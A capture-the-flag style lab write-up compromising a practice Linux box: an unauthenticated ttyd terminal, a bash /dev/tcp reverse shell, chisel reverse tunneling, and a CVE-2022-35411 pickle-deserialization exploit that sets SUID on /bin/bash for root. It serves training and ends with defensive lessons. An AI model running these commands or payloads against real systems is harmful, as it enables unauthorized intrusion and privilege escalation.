the_open_door
coffee
ESEN

PC

Proving Grounds PracticeMediumLinux192.168.190.210

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#ttyd#web-terminal#rpc.py#cve-2022-35411#pickle#deserialization#chisel#port-forwarding#suid#oscp
TL;DR. PC exposes a ttyd on 8000, an unauthenticated web terminal: opening it already gives a shell as user. Locally, rpc.py runs as root listening on 127.0.0.1:65432; it's version 0.6.0, vulnerable to CVE-2022-35411 (RCE via pickle deserialization). We forward the port with chisel (port forwarding) and run the exploit (pickle RCE) with a payload that sets SUID on /bin/bash; a bash -p (SUID abuse) gives root.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.190.210
64 bytes from 192.168.190.210: icmp_seq=1 ttl=61 time=30.7 ms

We sweep all TCP ports, then fingerprint versions:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.190.210
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http
nmap -p22,8000 -sCV 192.168.190.210 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
|_http-title: ttyd - Terminal

Only SSH and, on 8000, a ttyd: a server that publishes a terminal of the machine through the browser (over WebSocket). If exposed without authentication, it's a shell straight away.

Initial access

ttyd: unauthenticated web terminal

We open http://192.168.190.210:8000 and find an interactive terminal already logged in as user:

id
ip a

ttyd on port 8000 showing a terminal as user@pc (uid=1000) in the browser

uid=1000(user) gid=1000(user) groups=1000(user)

Before triggering the shell, we set up an nc listener:

penelope 8000

To work more comfortably (and because ttyd can be flaky), we fire a reverse shell back to our box:

bash -i >& /dev/tcp/192.168.45.196/8000 0>&1

Reverse shell received as user@pc after using the ttyd terminal

(Penelope)> listeners add -p 8000
[+] Got reverse shell from pc~192.168.190.210-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
user@pc:/home/user$ whoami
user

Privilege escalation

Local rpc.py 0.6.0: CVE-2022-35411

Enumerating processes and ports, we spot an interesting service: rpc.py running as root and listening only on localhost:

ps aux | grep root
cat /opt/rpc.py
netstat -tuln
root  1050  python3 /opt/rpc.py
...
uvicorn.run(app, interface="asgi3", port=65432)
tcp  0  0 127.0.0.1:65432  0.0.0.0:*  LISTEN

rpc.py 0.6.0 is vulnerable to CVE-2022-35411: the server picks the deserializer based on the serializer header, and asking for pickle makes it pickle.loads() whatever we send, executing code (pickle deserialization). The service only listens on 127.0.0.1, so we first need to reach it from outside.

Port forwarding with chisel

We upload chisel (repo) to the victim and set up a reverse tunnel to expose its 65432 on our machine (port forwarding). First we grab the prebuilt binary from the project's releases (it ships gzipped) and serve it over HTTP:

# on the attacker:
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
ls
python3 -m http.server 80

Download of the chisel_1.7.7_linux_amd64.gz release, gunzip and python3 -m http.server 80 serving the binary

chisel_1.7.7_linux_amd64  reports
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

On the victim we download it into /dev/shm (a memory-backed tmpfs, world-writable and leaving no trace on disk) and make it executable:

# on the victim:
wget http://192.168.45.196/chisel_1.7.7_linux_amd64
chmod +x chisel_1.7.7_linux_amd64

wget of the chisel binary into the victim's /dev/shm: 200 OK, 7.7M saved, and chmod +x

user@pc:/dev/shm$ wget http://192.168.45.196/chisel_1.7.7_linux_amd64
HTTP request sent, awaiting response... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel_1.7.7_linux_amd64'
'chisel_1.7.7_linux_amd64' saved [8077312/8077312]

On our box we rename the binary to chisel (for convenience, on both sides) and bring up the server side with --reverse, which is what allows clients to open tunnels in the reverse direction:

# on the attacker:
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
./chisel server --reverse -p 1234

chisel server --reverse -p 1234: Reverse tunnelling enabled and Listening on http://0.0.0.0:1234

2026/01/08 20:36:52 server: Reverse tunnelling enabled
2026/01/08 20:36:52 server: Fingerprint md7kzYM26jjSq5QEsvchydjlgNcTGlN9xvAP88NcOWo=
2026/01/08 20:36:52 server: Listening on http://0.0.0.0:1234

And from the victim we connect the client asking for the remote R:65432, meaning: "open a 65432 on the server that comes out of my 127.0.0.1:65432":

# on the victim:
./chisel client 192.168.45.196:1234 R:65432

chisel client connecting to the reverse server and exposing the victim's port 65432

user@pc:/dev/shm$ ./chisel client 192.168.45.196:1234 R:65432
2026/01/08 20:38:55 client: Connecting to ws://192.168.45.196:1234
2026/01/08 20:38:55 client: Connected (Latency 33.279669ms)

With the tunnel, the victim's 127.0.0.1:65432 becomes reachable on our 127.0.0.1:65432.

Exploit: pickle RCE to root

We fetch the public exploit (50983.py, CVE-2022-35411) and tweak it to point at 127.0.0.1:65432, with the serializer: pickle header, running a payload that sets the SUID bit on /bin/bash:

HOST = "127.0.0.1:65432"
URL  = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}
...
exec_command('chmod u+s /bin/bash')
python3 rpc_exp.py

The rpc_exp.py exploit showing the pickle payload with chmod u+s /bin/bash

b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x13chmod u+s /bin/bash\x94\x85\x94R\x94.'

The payload is a pickle object that, when deserialized on the server (as root), runs chmod u+s /bin/bash. We check the SUID bit and open a shell that keeps root's euid (SUID abuse):

ls -l /bin/bash
bash -p
whoami

/bin/bash with the SUID bit and bash -p giving a shell as root on pc

-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
root

With the root shell we read the proofs (local.txt in user's home and proof.txt in /root).

Attack chain

ttyd (8000)  --  unauthenticated web terminal
        │  direct shell  ->  reverse shell
        ▼
shell as user
        │  rpc.py 0.6.0 as root on 127.0.0.1:65432 (CVE-2022-35411)
        │  chisel R:65432 (port forwarding)  ->  pickle exploit  ->  chmod u+s /bin/bash
        ▼
shell as root  (bash -p)

Lessons learned

  • An exposed web terminal is an open door. ttyd without authentication publishes a machine shell in the browser; it should never be reachable without access control (let alone on a public interface).
  • pickle is code execution, not a data format. Deserializing pickle from an untrusted source allows RCE; rpc.py 0.6.0 exposes it by design by accepting the serializer: pickle header (CVE-2022-35411).
  • "Only listens on localhost" is no defense against an attacker with a shell. An internal service is reached with port forwarding (chisel); binding to 127.0.0.1 reduces the external surface, but doesn't protect once inside.
  • The SUID + bash -p pattern closes many privescs. If we can run something as root, making /bin/bash SUID and opening bash -p is the most direct path to a privileged shell.
Command cheatsheet 9 commands

Quick review